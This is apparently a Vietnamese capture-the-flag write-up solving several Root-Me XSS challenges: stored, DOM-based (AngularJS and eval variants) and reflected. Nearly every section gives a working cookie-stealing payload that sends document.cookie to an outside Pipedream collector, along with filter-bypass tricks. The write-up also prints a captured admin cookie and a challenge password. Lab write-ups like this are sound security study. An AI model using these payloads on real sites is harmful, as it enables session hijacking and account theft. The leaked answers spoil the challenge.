Rootme - XSS

XSS - Stored 1
Thử đoạn script đơn giản <script>alert('XSS')</script> tại ô Message


Ta biết được trang web bị XSS tại ô Message. Tiếp theo, ta tạo Trigger trong Pipedream để thu thập HTTP Request

Sau đó, tiến hành viết script như sau:
<script>document.write("<img src='https://eoz49yzemsdlt2j.m.pipedream.net/"+document.cookie+"'></img>");</script>

Nhấn Send, đợi một lúc ta sẽ nhận được phản hồi bên Pipedream

XSS - Stored 2
Thử kiểm tra XSS bằng script <script>alert('XSS')</script> tại ô Message

Không có gì xảy ra, tuy nhiên sau nhiều lần thử thì ta đều nhận được thông báo (status : invite)

Tiến hành kiểm tra cookie

Thử thay đổi giá trị invite của status

Response trả về giá trị như ta vừa thay. Thử thay giá trị status thành
"><script>alert('XSS')</script>


Ta có thể thực hiện XSS tại cookie này. Tạo Pipedream để thu thập HTTP.
Chèn đoạn script sau vào cookie
"><script>document.write("<img src='https://eoe9ifcx1is3rs8.m.pipedream.net/"+document.cookie+"'></img>")</script>
hoặc script (script này mình tham khảo từ WU trên mạng)
"><script>document.write(%22<img src=https://eoe9ifcx1is3rs8.m.pipedream.net? %22.concat(document.cookie.replace(%22 %22,%22&%22)).concat(%22/>%22))</script>
Ta đợi phản hồi bên Pipedream thu được

ADMIN_COOKIE=SY2USDIH78TF3DFU78546TE7F
Có ADMIN_COOKIE, ta thay vào cookie


Ta thu được pass: E5HKEGyCXQVsYaehaqeJs0AfV
XSS DOM Based - Introduction
Dùng script ';alert('XSS')// điền vào ô Number để kiểm tra XSS

URL: http://challenge01.root-me.org/web-client/ch32/?number=%27%3Balert%28%27XSS%27%29%2F%2F
Xem source code

Dùng document.location để redirect website đến HTTP Request để DOM based XSS.
Payload:
';document.location='https://eoe9ifcx1is3rs8.m.pipedream.net/?cookies='+document.cookie//

Copy đoạn URL trên dán vào input của tab Contact

Đợi 1 lúc ta nhận được

XSS DOM Based - AngularJS
Trước hết, ta thử nhập tên vào input

Vì tiêu đề challenge là AngularJS vì thế mình sẽ đi tìm payload XSS Angular
Mình tìm được payload: {{constructor.constructor('alert(1)')()}}
Thử đặt vào input

Có vẻ đã bị filter dấu ' nên ta thay bằng ": {{constructor.constructor("alert(1)")()}}

Tìm được payload thích hợp rồi, mình sẽ tiến hành rediect như challenge phía trên
{{constructor.constructor("document.location=\"https://eoe9ifcx1is3rs8.m.pipedream.net/?cookies=\"+document.cookie")()}}
Thành công rediect

URL: http://challenge01.root-me.org/web-client/ch35/?name=%7B%7Bconstructor.constructor%28%22document.location%3D%5C%22https%3A%2F%2Feoe9ifcx1is3rs8.m.pipedream.net%2F%3Fcookies%3D%5C%22%2Bdocument.cookie%22%29%28%29%7D%7D
Copy đoạn URL trên dán vào input của tab Contact


XSS DOM Based - Eval
Mình thử nhập vào số 1 và nhấn submit thì nhận được thông báo

Format của input này là /^\d+[\+|\-|\*|\/]\d+/ (1 số nguyên _ phép toán _ 1 số nguyên)

Input được đưa vào hàm eval() để thực thi. Thử bằng input khác 1+1abc thì trang không báo lỗi nên mình chèn thêm alert('XSS') để kiểm tra: 1+1alert('XSS')

Trang đã filter dấu (). Do đó, để bypass mình sẽ dùng Template literals với cú pháp `${expression}` . Template sẽ sử dụng dấu ngược (`` ) thay vì dấu ngoặc kép ("") để xác định chuỗi:
1+1`${alert``}`

Vậy là ta đã tìm thấy nơi để thực hiện XSS.
Payload:
1+1`${document.location=`https://eoe9ifcx1is3rs8.m.pipedream.net/?cookie=`+document.cookie}`

Copy đoạn URL trên dán vào input bên tab Contact. Đợi Pipedream phản hồi và lụm flag thôi

XSS - Reflected
Xem source code thì phát hiện có ?p=security

Thử truy cập vào http://challenge01.root-me.org/web-client/ch26/?p=security

Không thu thập được gì ở đây, mình thử thay đổi giá trị bất kì

Có thể thấy giá trị mình nhập vào ?p= sẽ được đưa vào thẻ <a> . Do đó, mình thử chèn payload vào đây để kiểm tra XSS
?p=nbdthien'onmouseover='alert(1)

Xác định được nơi để thực hiện XSS, mình tiến hành khai thác như sau
Mình thử alert(document.cookie) nhưng không thành công

Nên mình sẽ dùng Pipedream để get request
Payload:
?p=nbdthien'onmouseover='document.location="https://eoe9ifcx1is3rs8.m.pipedream.net/?cookie=".concat(document.cookie)

Kiểm tra Pipedream ta thấy nhận được thông báo

Sau đó, ta thực hiện lại 1 lần nữa nhưng thêm bước REPORT TO THE ADMINISTRATOR


Quay trở lại Pipedream và nhận flag





